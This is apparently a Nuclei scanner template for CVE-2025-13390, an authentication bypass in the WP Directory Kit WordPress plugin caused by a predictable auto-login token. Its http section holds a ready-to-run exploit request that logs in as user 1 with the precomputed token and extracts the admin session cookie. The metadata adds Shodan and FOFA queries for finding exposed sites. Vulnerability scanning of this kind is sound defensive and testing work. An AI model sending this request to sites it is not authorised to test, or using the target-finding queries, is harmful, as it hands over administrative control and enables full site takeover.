id: CVE-2025-13390 info: name: WP Directory Kit <= 1.4.4 - Authentication Bypass author: maxthepm severity: critical description: | The WP Directory Kit plugin for WordPress version 1.4.4 and below contains an authentication bypass vulnerability in its auto-login functionality. The vulnerability allows unauthenticated attackers to gain administrative access by exploiting a cryptographically weak token generation mechanism that uses only the first 10 characters of MD5(user_id). For user_id=1 (typically admin), the token is always predictable. impact: | Unauthenticated attackers can gain administrative access, leading to full site takeover. remediation: | Update to the latest version beyond 1.4.4. reference: - https://plugins.trac.wordpress.org/browser/wpdirectorykit/trunk/actions.php#L116 - https://ryankozak.com/posts/cve-2025-13390/ - https://github.com/d0n601/CVE-2025-13390 - https://nvd.nist.gov/vuln/detail/CVE-2025-13390 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 10.0 cve-id: CVE-2025-13390 epss-score: 0.04823 epss-percentile: 0.91038 cwe-id: CWE-287 metadata: verified: true max-request: 1 shodan-query: html:"/wp-content/plugins/wpdirectorykit" fofa-query: "body:/wp-content/plugins/wpdirectorykit" tags: cve,cve2025,wordpress,wp,wp-plugin,auth-bypass,wpdirectorykit,vkev http: - raw: - | GET /?auto-login=1&user_id=1&token=c4ca4238a0 HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 redirects: true max-redirects: 2 matchers-condition: and matchers: - type: word part: header words: - "wordpress_logged_in_" case-insensitive: true - type: word part: header words: - "Set-Cookie" case-insensitive: true - type: status status: - 302 extractors: - type: kval part: header kval: - set_cookie # digest: 4b0a00483046022100d27b6e5e6468fb22c30c007ff132b85cb88d2bb586895f1e96e1dd4ad3a88820022100f123b3dfcf89c7e324bb1e7b9d23f3f9ffe765cddbc32dcd33da378789e40cc2:922c64590222798bb761d5b6d8e72950